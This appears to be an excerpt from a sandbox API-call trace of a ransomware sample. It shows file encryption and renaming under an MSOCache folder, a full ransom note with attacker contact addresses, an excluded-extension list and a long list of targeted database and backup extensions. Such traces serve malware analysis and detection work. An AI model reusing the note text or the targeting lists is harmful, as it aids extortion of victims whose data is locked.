	[0076.886] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.891] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.893] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.893] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.895] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.895] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.895] CloseHandle (hObject=0x130) returned 1
	[0076.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.896] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.~~~~")) returned 1
	[0076.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4b10 | out: hHeap=0x300000) returned 1
	[0076.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.897] GetLastError () returned 0x0
	[0076.898] RtlWakeConditionVariable () returned 0x365f70
	[0076.898] GetCurrentThreadId () returned 0x9cc
	[0076.898] GetCurrentThreadId () returned 0x9cc
	[0076.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaa48 | out: hHeap=0x300000) returned 1
	[0076.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a70 | out: hHeap=0x300000) returned 1
	[0076.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaa48
	[0076.898] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.898] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0076.898] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0076.899] CloseHandle (hObject=0x130) returned 1
	[0076.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaa48 | out: hHeap=0x300000) returned 1
	[0076.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.900] RtlWakeConditionVariable () returned 0x365f70
	[0076.900] GetCurrentThreadId () returned 0x9cc
	[0076.900] GetCurrentThreadId () returned 0x9cc
	[0076.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7688 | out: hHeap=0x300000) returned 1
	[0076.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3aa8 | out: hHeap=0x300000) returned 1
	[0076.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7688
	[0076.900] lstrlenW (lpString=".scr") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0076.900] lstrlenW (lpString=".cmd") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0076.900] lstrlenW (lpString=".dll") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0076.900] lstrlenW (lpString=".bat") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0076.900] lstrlenW (lpString=".cpl") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0076.900] lstrlenW (lpString=".sys") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0076.900] lstrlenW (lpString=".msc") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0076.900] lstrlenW (lpString=".com") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0076.900] lstrlenW (lpString=".lnk") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0076.900] lstrlenW (lpString=".msp") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0076.900] lstrlenW (lpString=".pif") returned 4
	[0076.900] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0076.901] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.901] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0076.901] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7688 | out: hHeap=0x300000) returned 1
	[0076.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.901] RtlWakeConditionVariable () returned 0x365f70
	[0076.901] GetCurrentThreadId () returned 0x9cc
	[0076.901] GetCurrentThreadId () returned 0x9cc
	[0076.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7720 | out: hHeap=0x300000) returned 1
	[0076.901] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac3f8 | out: hHeap=0x300000) returned 1
	[0076.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7720
	[0076.901] lstrlenW (lpString=".scr") returned 4
	[0076.901] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0076.901] lstrlenW (lpString=".cmd") returned 4
	[0076.901] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0076.901] lstrlenW (lpString=".dll") returned 4
	[0076.901] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0076.901] lstrlenW (lpString=".bat") returned 4
	[0076.901] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0076.901] lstrlenW (lpString=".cpl") returned 4
	[0076.901] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0076.901] lstrlenW (lpString=".sys") returned 4
	[0076.901] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0076.901] lstrlenW (lpString=".msc") returned 4
	[0076.901] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0076.901] lstrlenW (lpString=".com") returned 4
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0076.902] lstrlenW (lpString=".lnk") returned 4
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0076.902] lstrlenW (lpString=".msp") returned 4
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0076.902] lstrlenW (lpString=".pif") returned 4
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0076.902] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0076.902] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7720 | out: hHeap=0x300000) returned 1
	[0076.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0076.902] RtlWakeConditionVariable () returned 0x365f70
	[0076.902] GetCurrentThreadId () returned 0x9cc
	[0076.902] GetCurrentThreadId () returned 0x9cc
	[0076.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0076.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4f60 | out: hHeap=0x300000) returned 1
	[0076.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac430 | out: hHeap=0x300000) returned 1
	[0076.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4f60
	[0076.902] lstrlenW (lpString=".scr") returned 4
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".scr") returned 0x0
	[0076.902] lstrlenW (lpString=".cmd") returned 4
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".cmd") returned 0x0
	[0076.902] lstrlenW (lpString=".dll") returned 4
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dll") returned 0x0
	[0076.902] lstrlenW (lpString=".bat") returned 4
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bat") returned 0x0
	[0076.902] lstrlenW (lpString=".cpl") returned 4
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".cpl") returned 0x0
	[0076.902] lstrlenW (lpString=".sys") returned 4
	[0076.902] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sys") returned 0x0
	[0076.902] lstrlenW (lpString=".msc") returned 4
	[0076.903] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".msc") returned 0x0
	[0076.903] lstrlenW (lpString=".com") returned 4
	[0076.903] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".com") returned 0x0
	[0076.903] lstrlenW (lpString=".lnk") returned 4
	[0076.903] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".lnk") returned 0x0
	[0076.903] lstrlenW (lpString=".msp") returned 4
	[0076.903] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".msp") returned 0x0
	[0076.903] lstrlenW (lpString=".pif") returned 4
	[0076.903] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".pif") returned 0x0
	[0076.903] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.903] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0076.903] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.907] lstrlenW (lpString=".sqb") returned 4
	[0076.907] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sqb") returned 0x0
	[0076.907] lstrlenW (lpString=".ost") returned 4
	[0076.907] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ost") returned 0x0
	[0076.908] lstrlenW (lpString=".txt") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".txt") returned 0x0
	[0076.908] lstrlenW (lpString=".mdt") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".mdt") returned 0x0
	[0076.908] lstrlenW (lpString=".BDB") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".BDB") returned 0x0
	[0076.908] lstrlenW (lpString=".eql") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".eql") returned 0x0
	[0076.908] lstrlenW (lpString=".DBF") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBF") returned 0x0
	[0076.908] lstrlenW (lpString=".EQL") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".EQL") returned 0x0
	[0076.908] lstrlenW (lpString=".FDB") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".FDB") returned 0x0
	[0076.908] lstrlenW (lpString=".EDB") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".EDB") returned 0x0
	[0076.908] lstrlenW (lpString=".DACPAC") returned 7
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DACPAC") returned 0x0
	[0076.908] lstrlenW (lpString=".VHD") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".VHD") returned 0x0
	[0076.908] lstrlenW (lpString=".DBV") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBV") returned 0x0
	[0076.908] lstrlenW (lpString=".dacpac") returned 7
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dacpac") returned 0x0
	[0076.908] lstrlenW (lpString=".sdf") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sdf") returned 0x0
	[0076.908] lstrlenW (lpString=".accdb") returned 6
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".accdb") returned 0x0
	[0076.908] lstrlenW (lpString=".DBX") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBX") returned 0x0
	[0076.908] lstrlenW (lpString=".MDT") returned 4
	[0076.908] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".MDT") returned 0x0
	[0076.908] lstrlenW (lpString=".SQB") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".SQB") returned 0x0
	[0076.909] lstrlenW (lpString=".vhd") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".vhd") returned 0x0
	[0076.909] lstrlenW (lpString=".bac") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bac") returned 0x0
	[0076.909] lstrlenW (lpString=".mdf") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".mdf") returned 0x0
	[0076.909] lstrlenW (lpString=".BAK") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".BAK") returned 0x0
	[0076.909] lstrlenW (lpString=".BAC") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".BAC") returned 0x0
	[0076.909] lstrlenW (lpString=".dbs") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbs") returned 0x0
	[0076.909] lstrlenW (lpString=".vhdx") returned 5
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".vhdx") returned 0x0
	[0076.909] lstrlenW (lpString=".NDF") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".NDF") returned 0x0
	[0076.909] lstrlenW (lpString=".dat") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dat") returned 0x0
	[0076.909] lstrlenW (lpString=".DBS") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBS") returned 0x0
	[0076.909] lstrlenW (lpString=".CKP") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".CKP") returned 0x0
	[0076.909] lstrlenW (lpString=".edb") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".edb") returned 0x0
	[0076.909] lstrlenW (lpString=".PST") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".PST") returned 0x0
	[0076.909] lstrlenW (lpString=".dbf") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbf") returned 0x0
	[0076.909] lstrlenW (lpString=".SQL") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".SQL") returned 0x0
	[0076.909] lstrlenW (lpString=".pst") returned 4
	[0076.909] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".pst") returned 0x0
	[0076.910] lstrlenW (lpString=".dbv") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbv") returned 0x0
	[0076.910] lstrlenW (lpString=".SDF") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".SDF") returned 0x0
	[0076.910] lstrlenW (lpString=".dtxs") returned 5
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dtxs") returned 0x0
	[0076.910] lstrlenW (lpString=".db3") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".db3") returned 0x0
	[0076.910] lstrlenW (lpString=".OST") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".OST") returned 0x0
	[0076.910] lstrlenW (lpString=".dbx") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dbx") returned 0x0
	[0076.910] lstrlenW (lpString=".DB3") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DB3") returned 0x0
	[0076.910] lstrlenW (lpString=".DAT") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DAT") returned 0x0
	[0076.910] lstrlenW (lpString=".VHDX") returned 5
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".VHDX") returned 0x0
	[0076.910] lstrlenW (lpString=".ndf") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ndf") returned 0x0
	[0076.910] lstrlenW (lpString=".DB") returned 3
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DB") returned 0x0
	[0076.910] lstrlenW (lpString=".sql") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sql") returned 0x0
	[0076.910] lstrlenW (lpString=".MYD") returned 4
	[0076.910] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".MYD") returned 0x0
	[0076.910] lstrlenW (lpString=".DBT") returned 4
